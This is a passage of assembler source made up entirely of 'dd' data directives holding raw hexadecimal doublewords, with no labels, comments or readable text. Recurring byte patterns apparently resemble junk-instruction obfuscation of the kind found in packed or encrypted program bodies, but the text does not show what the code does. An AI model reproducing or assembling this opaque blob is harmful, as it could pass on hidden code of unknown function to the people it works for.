17A07E5Bh, 0A5659251h, 2BFF417h dd 408B5E55h, 7E44669h, 808C3DF0h, 1D15C29Fh, 5D2A014Ch dd 6C438E6Bh, 4894A649h, 1580256Ah, 5A3354ACh, 0D2F164FAh dd 18h, 72493EEBh, 8C09394Fh, 48631D7h, 0FFFDDDC2h, 7D1EAFFh dd 0F9000000h, 26DD1h, 5146F900h, 9D4A2F7Ah, 86ABCEABh dd 20DDBA91h, 31CCE936h, 0E609EA86h, 0A1A11BCh, 3986702Dh dd 3A8631CDh, 17013659h, 8C38E793h, 0C4D62102h, 802AB273h dd 0F04B148h, 0B2F3402Ah, 13F4802Ah, 307D6744h, 29802AB3h dd 0C61E2548h, 6A49CCA5h, 3944F1h, 627C0000h, 947E5BC9h dd 8C38DE78h, 0E53011h, 0BC0C5943h, 1306802Ah, 6E917238h dd 2ABBBB0Ch, 0E6C3B580h, 0FDCEC69Bh, 0E141CAB2h, 86DE4739h dd 6A568C65h, 0CA04F1h, 363C0000h, 0CD428F79h, 443C8631h dd 0A9CCAD73h, 6DB88F84h, 82CDA298h, 0EEE3B8ADh, 1F7CC17h dd 3B0AE12Ch, 7F3C216Ch, 0FA04DFD2h, 8631CCADh, 7DA2C5A6h dd 0DBDFB188h, 8631D159h, 9B6D4439h, 0CE97BF0h, 0EEBE672Eh dd 0E205F56Fh, 879FC3ADh, 923F8C3Ah, 0A57AC59Eh, 3B08D7B2h dd 4C236E47h, 352C0B29h, 4A421762h, 0E8DDAA79h, 0B8654211h dd 541BEDC2h, 49D2895Eh, 0AFA3F7B9h, 3EED822h, 9A930000h dd 3B32F9CBh, 0D7CF9668h, 7B6D3406h, 0F05CC9Eh, 5596683Ah dd 4416EBE1h, 0DDAF8A7Dh, 77492216h, 12E4BBB0h, 85D2BCF9h dd 7E802577h, 50463F3Dh, 0FCF19E7Bh, 0E003DA25h, 23FAEFB6h dd 0CFA29946h, 0E6B7AF84h, 12CAF417h, 2F7A5146h, 0BC8E655Ah dd 1A0C1A11h, 4E1BF23Dh, 5D347F5Ch, 0D7C7B18Eh, 7F8C38FCh dd 32BBB7A1h, 2245EFB7h, 0C6D82304h, 802ABF77h, 19A3032Ch dd 4B351212h, 8631F05Bh, 88635603h, 94664765h, 5E242E9h dd 3DDAD61Bh, 1DEBF8Ch, 0AE8B5C54h, 0ED380901h, 0F2C9F316h dd 0BA958835h, 255663B0h, 91856480h, 62EBE9B8h, 1803DD9Ah dd 0C1086A8Dh, 0A78025BFh, 0CC08DAB3h, 69h, 0CCB809F4h dd 5BCE8631h, 6724FBCDh, 31CD307Dh, 544A2986h, 688DB07Fh dd 6F549F70h, 114E7991h, 6144421Fh, 8AEC0F89h, 8631393Dh dd 56323C2Fh, 3405B535h, 0CCA1ECBBh, 0BCB2FDDAh, 4B35FB4Bh dd 8630EBFEh, 0A4716F7h, 3D35EB3Bh, 0DFD39A6Ch, 59A9BB06h dd 5B8630EBh, 72BFA966h, 738630EBh, 18686F92h, 0C3956E62h dd 7952460Bh, 8E65592Eh, 0A077C299h, 436C86D1h, 70493DE3h dd 0E0CF9A9Eh, 7FBF8631h, 0F77150A7h, 0FFFF741Fh, 0A95A38FFh dd 69403531h, 10485E6Bh, 5146D7EDh, 655A2F7Ah, 1A11BC8Eh dd 904F2D0Ah, 0DDD9F722h, 2913486Bh, 8C38D8A5h, 0E6C3B594h dd 18F5C49Bh, 7A9D786Bh, 0B774C5D7h, 0E049802Ah, 4E8E6780h dd 2F06F16Ah, 3E000000h, 7E5BC962h, 38DE7894h, 554DFA8Ch dd 0EEBFB784h, 81CCADCBh, 2ABC1E6Fh, 3A8AF380h, 6A573811h dd 766E1BF1h, 60835AA5h, 0DAC0h, 5146F800h, 0DEAD8A7Ch dd 0F3C8BE93h, 2216C3A8h, 0C012649h, 0B6AB5835h, 4817EAE1h dd 0B8AD8225h, 890B0FE1h, 0D98631D1h, 0E18C7EFBh, 0C1E4AA36h dd 0F3D0A79Ch, 428F7936h, 43863192h, 920B5862h, 2B0C8631h dd 2217DE08h, 2447004Bh, 0A9796340h, 0A88C38C1h, 214AF5C7h dd 0FCA96643h, 13E83304h, 23FA4520h, 0A5CF3154h, 64863466h dd 3F9A683h, 12E93620h, 9EA8623h, 0A372453Ch, 41140AD1h dd 933E464Ch, 0E3054DC5h, 23F2C914h, 0FC66B96Ch, 7CC6539Dh dd 190h, 9B6D3C35h, 380ADDD4h, 0D6A87971h, 6E401D0Fh, 0ADCB1A7h dd 8D83F738h, 2C1FE6B8h, 0C4B87F51h, 5D5219EBh, 5E9BB486h dd 25752774h, 0E1DF2080h, 9E7B5046h, 0CCAAF7E1h, 0CAAB8631h dd 0C1B67DA7h, 626018EAh, 947E5BC9h, 8C38DE78h, 0E53011h dd 39846153h, 8CDD3F62h, 61802ABBh, 4E2A8F8h, 0CBC2FF3Fh dd 6636123h, 254C696Ch, 4A23BBDEh, 0C2F169C0h, 0A8h, 7A5146FAh dd 81645A2Fh, 31CD4A97h, 9B6A4B86h, 0D1BC3E50h, 0C1B68631h dd 0C49B69BBh, 804FBEA1h, 2DFEF6A3h, 0BEE80BE2h, 0E02B02F7h dd 43200427h, 388E8959h, 4A93718Ch, 46BDC57Ch, 5CA78275h dd 7593B685h, 1417C294h, 0C0493310h, 0B18633D1h, 5046F3D0h dd 0ECE2A97Bh, 109AA9E8h, 3504A672h, 0FCDDB17Eh, 98E26F9Dh dd 0ACh, 0B7895851h, 5426F9F0h, 0F2C4958Dh, 8A5C392Bh dd 26F8CDC3h, 0A99F1354h, 483B02D4h, 0E0D49B6Dh, 796E3507h dd 7AB7D0A2h, 25754390h, 5034480h, 8B7D5046h, 460DDFAEh dd 0F0A87A51h, 0A85B5836h, 326CA0BEh, 1EF5EA0Fh, 3409FED3h dd 0C5976641h, 179B10EEh, 0C1EC13FEh, 0DA2502F4h, 54D7E003h dd 2809F3D0h, 698C3DEFh, 73683D88h, 0E03CA9Ch, 5DDAEC37h dd 0D8CB8170h, 0DCD18FD7h, 776C3305h, 8E8055A0h, 66F6D4B1h dd 694DED56h, 0D81DC0E3h, 0E7341EDBh, 0E038E128h, 8DD5DCFFh dd 3103DACFh, 539E756Ah, 309h, 67673100h, 337E4D46h, 4792695Eh dd 5AA57E72h, 6CB79285h, 81CCA197h, 96E1B6ACh, 0A7F2CFC1h dd 0BE09DAD2h, 0D41FF2E9h, 0E7895788h, 4BA52h, 0D7010000h dd 4EF835Ah, 5C243C87h, 31FB68h, 24148900h, 81E28952h dd 4C2h, 4EA8300h, 5C241487h, 0BA243C89h, 6CF20665h, 2539F281h dd 0DA876FFDh, 81DA8743h, 2D786EAh, 4EC81FDh, 89000000h dd 4812424h, 424h, 55515F00h, 0E989D589h, 84F895Dh, 2434FF59h dd 4C4815Fh, 8B000000h, 89572414h, 4C781E7h, 83000000h dd 3C8704C7h, 61E95C24h, 0F3FFFBE7h, 0FF0FE9B5h, 5D0A1959h dd 0C6B86778h, 3060C59h, 0B8E0FFC5h, 103C038Eh, 0A0652C71h dd 0F02D02C9h, 0C15342E9h, 7C75C7C8h, 2531B3A0h, 140F4508h dd 5621CB9Ch, 0F566C3A3h, 0E603F08Eh, 1C18141Eh, 53D1637h dd 0F8200A08h, 0B16B30D0h, 0BE6B5C90h, 0E012C812h, 6760953h dd 0C83C69DFh, 0C7238943h, 4F456C56h, 25004061h, 8D08A5E3h dd 0C5BC28Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 9D89E4EDh, 607153Dh, 1175BD8Bh, 0CE90607h dd 0BF000000h, 1105A769h, 0A7D144A3h, 892AD8BDh, 71AD98Dh dd 7E95706h, 39000000h, 2B7DFB62h, 0C75E0671h, 7101D85h dd 6F6C06h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 14236FBAh, 607F6E4h, 38C0Fh, 8B660000h dd 0C880FC2h, 0F000000h, 68Dh, 9BD8900h, 0C7060733h, 7330585h dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 9938C01Ch, 0F0F00915h, 10E98FF1h dd 9C000000h, 4477D0CBh, 76A614B5h, 9DB26053h, 66D77548h dd 0CD40CF81h, 5E9h, 868FE00h, 0B5FF923Fh, 60712B5h, 185995FFh dd 8F0F0607h, 6, 2AF99531h, 6A0607h, 0D6995FFh, 0C08B0607h dd 475168EBh, 0A6A4FDC0h, 0D5164D46h, 0EB700C6Ah, 26F16911h dd 8FE2DC9Bh, 6C3446AFh, 4C006AB1h, 0E834E29h, 9E50A51Eh dd 2644D205h, 119F5A30h, 0D46A0D35h, 0C0FD84D6h, 2B4D6D13h dd 6D4DA721h, 0E4EA94D7h, 0BFCFE7Ch, 3A4243BAh, 0FCD598C6h dd 9A50A1A8h, 1B635D57h, 0E16D5F35h, 474F19C4h, 3715C77Eh dd 4C015A8Ah, 9E8DC78h, 0E5000000h, 0FDD74CE6h, 9EB293A1h dd 59C38B66h, 4807B866h, 6DBDC181h, 0EE90000h, 9E000000h dd 5756168Ch, 8593A209h, 8E15ECE6h, 1B38684Eh, 95890000h dd 6071EF9h, 31FFFC5Bh, 5EFEBF0Fh, 94EF8166h, 0ACEE81EBh dd 0E97291D8h, 0Eh, 0EB196865h, 5C0A3EE8h, 0D8026691h dd 0F681B3A9h, 7F7362DFh, 0CB18D29h, 0F6810607h, 9395E28h dd 48DBD31h, 31890607h, 2615BD89h, 0E9810607h, 290C7A4Eh dd 0AE960h, 45020000h, 300D4BD6h, 25072BFBh, 11E8h, 87092200h dd 497FD651h, 5B5DFFF3h, 51A93604h, 58F82BA0h, 4AC18161h dd 23290C7Ah, 71E6185h, 1EB8306h, 12850Fh, 0B5890000h dd 6070795h, 17E9h, 0E0957F00h, 9EF83CB7h, 2918503h, 5BE90607h dd 2DFFFFFFh, 0B75D83F3h, 0B0E9h, 8C666000h, 4C2F6DAh dd 0C850Fh, 853B0000h, 607059Dh, 36840Fh, 853B0000h, 6071085h dd 2A840Fh, 853B0000h, 60729E5h, 1E840Fh, 853B0000h, 6071FFDh dd 12840Fh, 0BD830000h, 6072C75h, 5840F01h, 0E9000000h dd 5Fh, 5203D08Bh, 88BA8B3Ch, 8B000000h, 0C985784Ah, 49840Fh dd 0C2810000h, 0F8h, 30C728Bh, 1C598BC8h, 314518Bh, 850B8BD8h dd 10840FC9h, 3B000000h, 17820FCEh, 3B000000h, 0F830FCFh dd 83000000h, 0F4A04C3h, 0FFFFDC85h, 0DE9FFh, 9D8D0000h dd 6074B9Bh, 5B8h, 61E3FF00h, 0E9D00BC3h, 19Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0FEC35040h, 6C71713Ch dd 0F605F3Ch, 68Dh, 800F00h, 60000000h, 12E8h, 0C017FF00h dd 2F2F05ADh, 5F0D68A9h, 32EBDB5h, 5A70AA79h, 0B58D6161h dd 60C5EACh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 18C35242h, 32EA9240h, 8D285161h, 0A481785h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 4E7CD448h, 0BE86038h, 9E000000h, 816AC853h, 6B89CC0Eh dd 0B55F6B2Ah, 0D0FF6174h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 7AC35040h, 2AA18243h, 8B6660C3h, 95E2B8CEh dd 66614C6Eh, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 67C826C3h, 800FFED2h, 2, 0C1F66160h dd 5E840F04h, 0E9000000h, 0Dh, 4610EE72h, 40A20487h, 179482BCh dd 0E830F3Fh, 60000000h, 810Fh, 890F0000h, 0 dd 8BFB8B61h, 0AEC032CBh, 0CF2BFD75h, 0F92BD9F7h, 8B49D78Bh dd 0CD00EBD9h, 1013F20h, 74C00B00h, 0C708D18h, 0CB8BFA8Bh dd 490A75A6h, 1B8FA75h, 0EB000000h, 0EB008B09h, 0B8E4h dd 0E9CF0000h, 10h, 94751F35h, 343E0AB0h, 6B3E2B84h, 0DF894861h dd 10E9h, 285F4A00h, 18DB7AF8h, 4A75DD9Eh, 8985BCF9h, 1E85C7D2h dd 3F060C5Fh, 0E8000101h, 13h, 0BDA29BFCh, 0B257DA5h, 0D6D8094Dh dd 403CDF60h, 0E9D318D6h, 0Fh, 7788670Eh, 0FE40D4ECh, 0C940B5D8h dd 5BD3BBBFh, 0AE9h, 5967D500h, 0BE7A2DB1h, 812CA9FBh dd 5E6CC3h, 14E900h, 639D0000h, 642D43DBh, 0EAAF77Fh, 0EC778867h dd 0D8FE40D4h, 0C02B40B5h, 5E8h, 0FF7A5400h, 0FA8B13DAh dd 3148B5Fh, 6A5E0FB9h, 10F2816Eh, 66791025h, 817F59BFh dd 0E9650CC2h, 5FF95376h, 0EB36F281h, 66524C53h, 530ADF81h dd 5603048Fh, 0F181665Fh, 0E883245Bh, 0E2BE6602h, 814848D7h dd 0FFA274F8h, 20850FFFh, 0E9000000h, 11h, 0B156B805h dd 0C0DF142Ch, 13669025h, 0CEC8C7BBh, 1EE9E3h, 3ABA0000h dd 0F580A58Eh, 0FFFF94E9h, 0FD7A62FFh, 40145F26h, 0B659123Eh dd 0C4B8B37Bh, 4131A406h, 60EBh, 17h dup(0) dd 91E90000h, 0E900000Bh, 0B85h, 0C68F468h, 1CADE906h dd 2068FFFBh, 0E9060C6Ah, 0FFFB1CA3h, 0C6A7368h, 1C99E906h dd 1041FFFBh, 0D39E075h, 836DD72h, 231D86Dh, 0F82BD267h dd 152DC85Dh, 0F98E275Ah, 0F3882552h, 0F2871A4Ch, 0E77C1B4Bh dd 4DBEAC1Ah, 98439792h, 0A225AF81h, 31AE61AAh, 72735DC7h dd 7F01A845h, 0D30691BEh, 650CA142h, 74FBA235h, 7A08AF42h dd 2AAA44F7h, 9F892D85h, 2DD4719Eh, 4CE273A6h, 7DC7FC9h dd 46593DF5h, 4E740098h, 0F811FB9Ch, 85B53E71h, 23AA51F2h dd 2BB259F4h, 2DBB62FDh, 6F0CD7AAh, 5D47381Fh, 0EE95305Ch dd 2FC5BD45h, 97E5F141h, 8F27AA47h, 9AC0BF3Ch, 572A240Eh dd 386811C1h, 47E87FAFh, 1C1D07A0h, 12C055F0h, 1E037462h dd 7B4E4397h, 0F0E46E91h, 1E076C5Ah, 6F424397h, 761141C8h dd 0FC2C6FE1h, 0C2140F69h, 13967F0Ah, 0D94C2E2Ah, 0FC6D410Ch dd 4749A37Bh, 7C20917Fh, 986B49A3h, 26FC56F7h, 4DA225B4h dd 31F6F9A1h, 0F0F54E38h, 0A1CAF3Eh, 3Ch, 0C25D8932h, 0CC98821Bh dd 318B7F0Ah, 0B8497C25h, 67D8C6CEh, 0A449A3F2h, 1240C9FBh dd 9637D077h, 0C4F1B2ACh, 0CFFB8229h, 4FF08930h, 0B12554AEh dd 0B65002Ch, 4A32E4F6h, 0A8000000h, 78C37F0Ah, 71C9DE80h dd 255AB455h, 0CBB5507Ch, 0F264D5C3h, 287149A3h, 0A0CD5CF5h dd 24C55E05h, 7FF0DE8Eh, 0CA49A3F2h, 25410DF7h, 69FCC75h dd 2C501Ch, 75250B65h, 238643F2h, 0A87CDB92h, 49A39D37h dd 8EC5AF82h, 8A820A7Ch, 0F7D006F4h, 986B47A2h, 0E7B825F1h dd 2E5439Ch, 0CB23B234h, 83B91FB5h, 1D000001h, 16877525h dd 6149A3F2h, 0F781A48Eh, 167F6D03h, 5149A3F2h, 2050D77Eh dd 2C7EF085h, 140F69FCh, 9D7F0AC2h, 9831D86Bh, 0B4269DF7h dd 0AEB411D4h, 53EB1Ch, 0A4F0000h, 0D5709D7Fh, 41B2A02Eh dd 8C49A3F2h, 948218B9h, 49A3F223h, 0A0FA9B6Eh, 0F2C63725h dd 3E1149A3h, 990AF8A8h, 0E449A3F2h, 255B2711h, 9AC7507Ch dd 1ABB54FBh, 0E8F0DA73h, 65002C74h, 5EF726CFh, 0E4F6A874h dd 0B44D7C25h, 8F8A740Dh, 3Fh, 8B7F0A05h, 0A79545F5h, 49A3F236h dd 69DAAE81h, 0D349A3F2h, 4CB33013h, 27FA8291h, 7525713Dh dd 0A3F21687h, 8E275A49h, 7C174506h, 0FBE9F1DBh, 49A3F28Ah dd 25E23C97h, 65002CB1h, 0AE4F60Bh, 8F68C80h, 49A3F2ABh dd 0D55C03D6h, 0B7D12A5h, 0F69FC2Ch, 7F0AC214h, 7C25318Bh dd 0FF9ECA49h, 0FB6D745Eh, 0AEB411D4h, 48EB1Ch, 0A4F0000h dd 4CF58B7Fh, 48E18819h, 0B57A11DFh, 826CFA42h, 0C63725B6h dd 1149A3F2h, 0B125E43Eh, 0B44D7C25h, 898A740Dh, 6EDFCD5Dh dd 0B949A3F2h, 8E2957E6h, 7EAE57EDh, 0F631FDE7h, 4632E4h dd 0C36C0000h, 0B750F796h, 752501CDh, 0A3F21687h, 0DDC66149h dd 0C64471B0h, 40634DEEh, 4A3D3B5h, 635C45Dh, 8A2BC46Bh dd 0C6372530h, 0D349A3F2h, 7C251E78h, 0C7CFB94Ch, 65002C53h dd 25A8F60Bh, 0D4CE067Ch, 86523CF7h, 0FC32h, 800AA800h dd 9646F68Ch, 0A3F237A8h, 0C5AF8249h, 0A3F2167Fh, 0E87E5149h dd 0F2D94A38h, 512449A3h, 97C74E67h, 0AE643E38h, 2AF58191h dd 937BE453h, 841ABBFDh, 0F31FA8DBh, 7314AD54h, 424933CCh dd 69FC2CD0h, 25C2140Fh, 74CFD4A2h, 0E77D03D5h, 0A37588F9h dd 1600D349h, 1A7468F3h, 0DAC87826h, 49A3F269h, 0F178E1B4h dd 870159DEh, 257B4731h, 0F2168775h, 8E6149A3h, 0B49A4BA4h dd 54401CAEh, 68000000h, 0A70FFDE5h, 0A039E077h, 7F255737h dd 7C25C995h, 0A8CBB550h, 1093291Dh, 0B4BCC99Ch, 26F2DC59h dd 0F2C63725h, 501149A3h, 4DE3841Dh, 0F23EAF9Dh, 0C18949A3h dd 0A3F262D3h, 39DAAD49h, 0B125834Fh, 0B65002Ch, 7C25E4F6h dd 7710B74Ah, 27928Dh, 0A080000h, 25318B7Fh, 79ACC75h dd 97DDC760h, 49A3F226h, 54C5B363h, 9F49A3F2h, 4FAAE2CCh dd 2CB125F5h, 0F60B6500h, 69FC2CE4h, 0C43523D3h, 0F49A3F2h dd 0E283224Eh, 2658DFF8h, 33D46F9Dh, 30C7F79Eh, 0F252BD89h dd 65AE49A3h, 0BC3D6DDBh, 2B8DF68Fh, 3AC54B5Eh, 2CD36809h dd 2AD369FCh, 58715BFAh, 0FE9A47CAh, 0D942D306h, 372189F1h dd 0FA32EF48h, 0D25FDC77h, 3B259EF9h, 0B8E856E0h, 1CC93A28h dd 411449A3h, 0BA420BA0h, 0D37C2CC2h, 0D81E08A7h, 47A221A2h dd 1687753Dh, 61439C11h, 7A46ED8Eh, 439C110Dh, 0CF01AA3Ah dd 0DC7D1846h, 478997F2h, 1FB6A18Eh, 256EB538h, 399191E0h dd 56BFC98Fh, 2A149F9Ch, 1736h, 0FC2C9A00h, 85F6C269h dd 0E549A3F2h, 74A4929Ch, 74A24BE1h, 76E8EFD9h, 0C269FC2Ch dd 3999119h, 0F1F46553h, 0B3849A3h, 0AA32CB72h, 7B1648D7h dd 0A79B8991h, 0BE479811h, 7FAC55EBh, 0BCA63FE6h, 7E64ECB5h dd 7D13B451h, 0EFA777FAh, 0F25BD8B3h, 0AA6702FFh, 0F2FAE434h dd 96AACE04h, 0EF966941h, 909AB623h, 3600E33Dh, 0C21825B0h dd 42B725h, 0A1B0000h, 4DF68C80h, 949C8621h, 0A3F245A6h dd 86B96249h, 0C1AB44EBh, 0AE5EF4C7h, 85A3E2Bh, 76608AB0h dd 8CBE4775h, 18B952F9h, 73E4D282h, 0BE49A30Eh, 80AAD623h dd 71128842h, 31DF8087h, 55000000h, 42C4800Ah, 75B4D24Ch dd 0B7A53BDCh, 49A3035Ah, 6C1CB285h, 143FB2E9h, 0AF42C3Ch dd 0AA40DB09h, 4E9B0CFAh, 25E649A3h, 1EB75EF9h, 1A8C937Dh dd 1A732h, 810AA800h, 0C2142F89h, 0F69FC2Ch, 0B34E7C25h dd 8289730Ch, 4F7C2510h, 7273CCB6h, 681CAEB4h, 38h, 89810ACCh dd 0CC75252Fh, 0D91F099Ch, 49A3F268h, 2586E0B3h, 10B74A7Ch dd 11858D77h, 0DF9BFE2Ch, 4EB38723h, 0F660BA5Bh, 3E32E4h dd 0E96C0000h, 42CCC9Ah, 76422CD6h, 0F389810Ah, 957F1E4Ah dd 507C25C9h, 8B750EB5h, 0F2249583h, 0D63149A3h, 5689740h dd 0A3DA7678h, 0C36A0BF4h, 2574402Ah, 0CFB94C7Ch, 0FE2C53C7h dd 0E4F60963h, 497BFC2Ch, 0CD6E07AEh, 0D6861473h, 0F2C73826h dd 3F1249A3h, 0A3F1FA6Bh, 88724549h, 0C37F0ABCh, 116670E0h dd 0BBEE7DDBh, 70F3892Ah, 915526F5h, 531F0920h, 11D4B426h dd 0D71CAEB4h, 0F2C83927h, 4B1346A3h, 0A3F1EC5Dh, 0C3643746h dd 0F2CE3F2Dh, 461946A3h, 41685Ch, 0ACC0000h, 25318B7Fh dd 0A3F2C637h, 0E43E1149h, 9CCC7525h, 0DFC96209h, 77002C13h dd 6C05AC4Bh, 5D8C35CBh, 9A841DC4h, 32E4F6CEh, 6Ch, 5DCEBC6Ch dd 0A849A3F2h, 0F281F2E0h, 0F9CC49A3h, 25A26E58h, 12B94C7Ch dd 0E16C8F79h, 752593EDh, 0A3F21687h, 0F9C88049h, 5636EED0h dd 911FBCEh, 4ABBA959h, 9549A3A4h, 2192D8C2h, 2E49A3A4h dd 0F4BA3DD3h, 0C83927A9h, 1349A357h, 0E57AD740h, 0E1B181ECh dd 0A54661DCh, 0B125EFBBh, 0CF65002Ch, 0F2C0311Fh, 380B49A3h dd 0E4F6824Eh, 16877525h, 6149A3F2h, 71A3A48Eh, 1EA12FD6h dd 43BD0099h, 5BA18B80h, 49A3ECEDh, 96808EC7h, 0CA3CD164h dd 0D167FA2Ch, 755FFA28h, 22A3D55Ch, 20AE55F0h, 0A3F2C132h dd 98390C49h, 399F50F7h, 3B4ECBB6h, 735D4431h, 0EE200E18h dd 0F7D2BE53h, 549A3BBh, 0AF02B81Eh, 0FE202219h, 9A4AFFFFh dd 0A3A33BACh, 0C9B38649h, 0F27AE7FDh, 8C7949A3h, 0C949A3F1h dd 6953EE20h, 0A3F1B723h, 0F145B249h, 0D28249A3h, 0A3F173E4h dd 1EBBE49h, 0A3F14EBBh, 0F1E04D49h, 7A0289A3h, 84B524BAh dd 15B61D5Eh, 70E1CF7Fh, 0BB89A3ACh dd 9BE17FE8h, 0BFF05765h, 6D1DCDD5h, 0A3890E7Fh, 9C865989h dd 9C384E56h, 0BB28587h, 4CE2DA62h, 98A6D45Eh, 663C0F81h dd 307F639Eh, 9B8C0D3Ch, 38000002h, 32D96E07h, 2BD26706h dd 26CD62FDh, 22C95EF7h, 26C156EFh, 8520530Eh, 811C49F0h dd 801345ECh, 811444EBh, 0C3B11FECh, 43978A52h, 2CB4869Dh dd 19C269FCh, 0DD78AB91h, 66FC9D36h, 98117878h, 0D0E9147h dd 8C5F712Eh, 582B250Fh, 0F96AD7C3h, 48C4396h, 9FCD760Ch dd 0DAC45D04h, 1998E4D2h, 975F418Bh, 8A9938A9h, 0B94C7C3Dh dd 27BD5E31h, 30EF4E7Eh, 0DA04163Dh, 0CC73123Eh, 5CF19233h dd 5CF285B5h, 9D632DD9h, 0B7460CDCh, 0B24BF285h, 7821AFC8h dd 0E147B049h, 9B306587h, 0D53A806Ah, 0E73D8A08h, 0AB46795Fh dd 34CA6B04h, 7E284E46h, 0FC92653Bh, 0EF842353h, 0D67D1848h dd 17ADA52Dh, 71C83529h, 0D2794C35h, 13A9A129h, 0FBD73E6Ah dd 3D7D6B25h, 30C97011h, 503E46h, 0C72F660Bh, 85B55EF4h dd 3A75D804h, 916B2C45h, 0C44BF293h, 0C0590091h, 0CA63901Fh dd 3DE69429h, 898A740Fh, 4B17BE59h, 2B6516DEh, 0EA807800h dd 5905FCFCh, 0A9502329h, 0EA807800h, 5797AAFCh, 0CCA27523h dd 0D63C84F2h, 6F50D100h, 0C000001h, 0EB54ADBh, 7AE43E2h dd 2A93ED9h, 0FEA53AD3h, 0AA53ACBh, 710437F2h, 6D0835DCh dd 64FF31D8h, 5DF828CFh, 9F8DFBC8h, 4397882Eh, 0A906279h dd 6F48A82h, 47981206h, 0AB35A2Dh, 6F48A82h, 41968F58h dd 5E7A5023h, 24F07D6Bh, 11C74F5h, 88B90000h, 85B158EDh dd 80AE55EAh, 7AA950E5h, 70A34ADFh, 8DA540D5h, 71069FD2h dd 6B009DCAh, 6AFF92C4h, 5FF493C3h, 0C5362492h, 10439788h dd 820A27F9h, 9B44F48Ah, 9CE2CC6Bh, 479811A4h, 0BA41E8BBh dd 0AF56EB8Ah, 9841E87Fh, 0A2FC5010h, 0C86F0636h, 0B321C62Fh dd 0ECC95AA5h, 8D2EAA06h, 67D356ECh, 0DA950F82h, 0A18F9781h dd 418B7255h, 8D285B1Ch, 9233D2FEh, 8B2A56FDh, 86214FF6h dd 821B4AF1h, 0EA0669ECh, 0C6C99EC0h, 0FB2ED5DCh, 3551D46Ah dd 0BE3D95E3h, 7B1D532Dh, 0FF100F12h, 34670E15h, 38650CA1h dd 6957079Dh, 3D8A67F8h, 7F867043h, 760BA6D8h, 5AED1FC8h dd 14FF52B3h, 0B0EF6667h, 0F424250Fh, 751ECC61h, 6E07AE49h dd 0B7568384h, 0B0497821h, 6C56F121h, 0DF0EB765h, 23119F46h dd 3D8A9EB2h, 9F892AFDh, 66FCF47Ch, 7EBE2C78h, 7920F33Bh dd 8E23C2F2h, 1DEDh, 0A5A42700h, 82D9A57Fh, 0E984B241h dd 0F3BFA942h, 0F0497C25h, 0F511669h, 0F4DE7F75h, 0FB2C4325h dd 0C3CC36Ah, 194BD279h, 2350D77Eh, 295CE38Ah, 376AF198h dd 4170F79Eh, 4C7A01A8h, 57830AB1h, 686711B8h, 7B20h, 53240489h dd 0C381E389h, 4, 4EB81h, 1C870000h, 3C895C24h, 63A26824h dd 2C890000h, 4B85024h, 48575D79h, 4907B951h, 0C8014631h dd 0F4054059h, 2D2E7F59h, 0C601BB14h, 5458C789h, 81242C8Bh dd 4C4h, 8B85000h, 1000000h, 8B3889E8h, 0C4812404h, 4 dd 57242C8Bh, 0C781E789h, 4, 4C781h, 3C870000h, 3C8B5C24h dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 0FB113EE9h dd 64BFACFFh, 0BB6C3601h, 97AA260Eh, 6BB4B812h, 0C503060Ch dd 8D8DC38Bh, 60C6CEDh, 5659D89h, 8D890607h, 6071AD9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 11C35040h dd 655AB646h, 85C76A4Bh, 607101Dh, 6654h, 2B099589h, 85C70607h dd 6073305h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 77C35545h dd 21B5FFA1h, 6606070Ah, 0FF4672BFh, 7185995h, 0AE806h dd 857D0000h, 0FCAE5FA0h, 0CFF70ADBh, 0FF006A5Bh, 70D6995h dd 0EBC08B06h, 0EF7D571Ah, 1B1CDCDDh, 0A522B05Ch, 4D4106Ch dd 0B7A1F999h, 20E5D647h, 0E854332Dh, 10h, 98EB69h, 0ABABE1AAh dd 9A51E3E5h, 0D8C3991Eh, 6FCB8166h, 6E959E7h, 36000000h dd 0B2F11D5Ch, 27C18184h, 0FC000061h, 0B8h, 28A0F00h, 8A000000h dd 834FFDCh, 47D78166h, 13E95A0Eh, 48000000h, 0A13C71Ch dd 0D36F01Fh, 282548EDh, 7E5FF0FEh, 0F281BFAFh, 60FED37Ch dd 0F426EE81h, 0EA815FFAh, 34E3C1ECh, 0DE9h, 0AC9ACF00h dd 9DB80286h, 39EC4A46h, 0C281C8B4h, 41B2166Bh, 8E9h, 56A42D00h dd 0B3D25A05h, 1148961h, 1B45BD89h, 0BD8B0607h, 60732E9h dd 6602E883h, 4848F18Bh, 63C78166h, 0B8F8815Dh, 0FFFFF9Fh dd 1985h, 31858900h, 0E9060712h, 23h, 0F0AF291Fh, 0FF191426h dd 0FD5FD63h, 62E91B2Bh, 31FFFFFFh, 0B224728Eh, 4D2ABD19h dd 95195A32h, 0E844025Ah, 12h, 7E1EB9A7h, 4A0258h, 6A8BDD6Ch dd 8FAF0E62h, 958BC012h, 60703ADh, 0DE9605Eh, 78000000h dd 9019AF08h, 0FB08C4CAh, 3BCBE583h, 61F78B66h, 735DC681h dd 8B660000h, 8BFF2BC1h, 711398Dh, 3734FF06h, 665BD08Bh dd 812F94B9h, 6D2911F3h, 9D8B605Bh, 6070D85h, 9E8h, 0F709B200h dd 26269204h, 8D8B3BF2h, 6072339h, 0EB81615Bh, 31E03FF3h dd 78998B9h, 0C7C3816Ah, 0E84626F5h, 14h, 0FE6CCBF8h, 237DC36Ch dd 9095CE2h, 0B94A35BCh, 25A7499Bh, 0CB1BD29h, 53580607h dd 8B3E048Fh, 7088985h, 81858B06h, 8306070Eh, 0F8B204EFh dd 8D94FF81h, 850FFFFFh, 19h, 2A8D8D8Bh, 2AE90607h, 0FE000000h dd 0DB02D37h, 7EF37237h, 1B705CDBh, 56D08140h, 0E94F38B4h dd 0FFFFFF5Dh, 90F1CB8Bh, 0C0087352h, 6E37A974h, 1143DFCDh dd 13CE9D1h, 4Fh dup(0) dd 0BD830000h, 60713A1h, 